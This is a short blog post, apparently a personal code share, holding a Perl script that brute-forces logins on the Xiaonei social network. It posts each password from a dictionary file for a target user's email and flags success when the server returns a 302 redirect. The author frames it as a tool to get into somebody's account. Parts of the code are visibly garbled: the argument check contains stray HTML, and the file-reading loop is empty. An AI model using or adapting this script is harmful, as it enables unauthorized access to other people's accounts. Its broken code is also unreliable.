some perl files writen when I learn perl.
#===================================================================================================================
#!/usr/bin/perl
# detectxn.pl
# For Detect Xiaonei
# By c4rp3nt3r c4rp3nt3r[4]gmail.com Just for fun
# If you wanna to detect sombody's account ,please use Dansnow...
#Thanks google.com,milw0rm.com,xfocus.net...
use POSIX;
use LWP::UserAgent;
use HTTP::Cookies;
if(@ARGV < style="line-height: normal; ">{
printf("The argc is wrong~\n");
exit;
}
my $target = "http://www.xiaonei.com/Login.do";
my ($user, $passdic) = ($ARGV[0], $ARGV[1],);
my $lwp = new LWP::UserAgent or die;
Usage();
try_login($user,$passdic) or die "[-] login failed with $user and dic:$passdic\n";
sub try_login
{
my ($user, $passdic) = @_;
my $okflag = 0;
open(FH,"<$passdic");
while() #readdicfile
{
chomp;
my $pwd=$_;
printf("Now try ...".$user."~~~~".$pwd);
my $res = $lwp->post( $target,
['email' => $user,
'password' => $pwd,
'origURL' => "http://www.xiaonei.com/SysHome.do",
]
);
#To judge if the login is sucess then do something $res->content eq “The URL has moved here”
#my $myres=$res->content; #for test
#printf($myres) ; #for test
#if($myres=~/http:\/\/home.xiaonei.com\/Home.do"/) #To judge if the login is sucess
#I xchanged two above by the following one
if($res->status_line =~ /^302/)
{
$okflag = 1;
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
print("[+]".$res->status_line."\nlogin OK with : $user~~~~$pwd \n");
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
last;
}
else
{
printf("[-]".$res->status_line." login failed!\n");
}
}
close(FH);
if($okflag == 0)
{
printf("\n------------------------------------------------------------------------\n");
printf("[-]login failed with $user and dicfile $passdic...");
printf("\n------------------------------------------------------------------------\n");
}
return 1;
}
sub Usage
{
print("\n");
print("[+] Usage: $0 \n");
print("[+] Coded by Alone\n");
print("\n");
}
#===================================================================================================================
0 评论:
Post a Comment